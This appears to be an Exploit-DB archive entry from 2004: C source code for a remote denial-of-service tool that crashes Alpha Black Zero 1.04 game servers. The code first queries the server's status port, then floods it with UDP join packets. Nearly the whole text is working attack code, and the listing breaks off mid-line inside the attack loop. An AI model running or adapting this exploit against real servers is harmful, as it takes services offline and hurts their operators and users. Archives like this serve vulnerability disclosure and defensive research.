Exploit-DB #605
Description: Alpha Black Zero 1.04 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2004-03-03
Author: Luigi Auriemma

Exploit:
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
    #include <winsock.h>
#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "\nError: %s\n", error);
    exit(1);
}




    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netdb.h>
#endif



#define VER     "0.1"
#define BUFFSZ  2048
#define PORT    29850
#define TIMEOUT 3
#define MAX     16
#define INFO    "\\status\\"
#define PCK     "\x2e\x00\x00\x00\x00\x00\x2f\x2f\x01\x00\x00\x00\x41"
                // this is a normal join packet, nothing of strange



void show_info(u_char *buff);
u_long resolv(char *host);
int timeout(int sock);
void std_err(void);



int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    int         sd,
                i;
    u_short     port = PORT;
    u_char      buff[BUFFSZ];


    setbuf(stdout, NULL);

    fputs("\n"
        "Alpha Black Zero <= 1.04 server crash "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@altervista.org\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <host> [port(%d)]\n"
            "\n", argv[0], PORT);
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc > 2) port = atoi(argv[2]);

    peer.sin_addr.s_addr  = resolv(argv[1]);
    peer.sin_port         = htons(port + 1);
    peer.sin_family       = AF_INET;

    printf("- target %s:%hu\n",
        inet_ntoa(peer.sin_addr),
        port);

    printf("- request informations to the query port %d\n", port + 1);
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(!sd) std_err();
    if(sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();
    if(timeout(sd) < 0) {
        fputs("\nAlert: socket timeout, no information reply received but I continue\n", stdout);
    } else {
        if(recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL)
          < 0) std_err();
        show_info(buff);
    }
    close(sd);

    peer.sin_port         = htons(port);

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(!sd) std_err();

    fputs("- start attack\n", stdout);
    for(i = 0; i < MAX; i++) {
        fputs("  player: ", stdout);
        if(sendto(sd, PCK, sizeof(PCK) - 1, 0, (struct sockaddr *)&peer, sizeof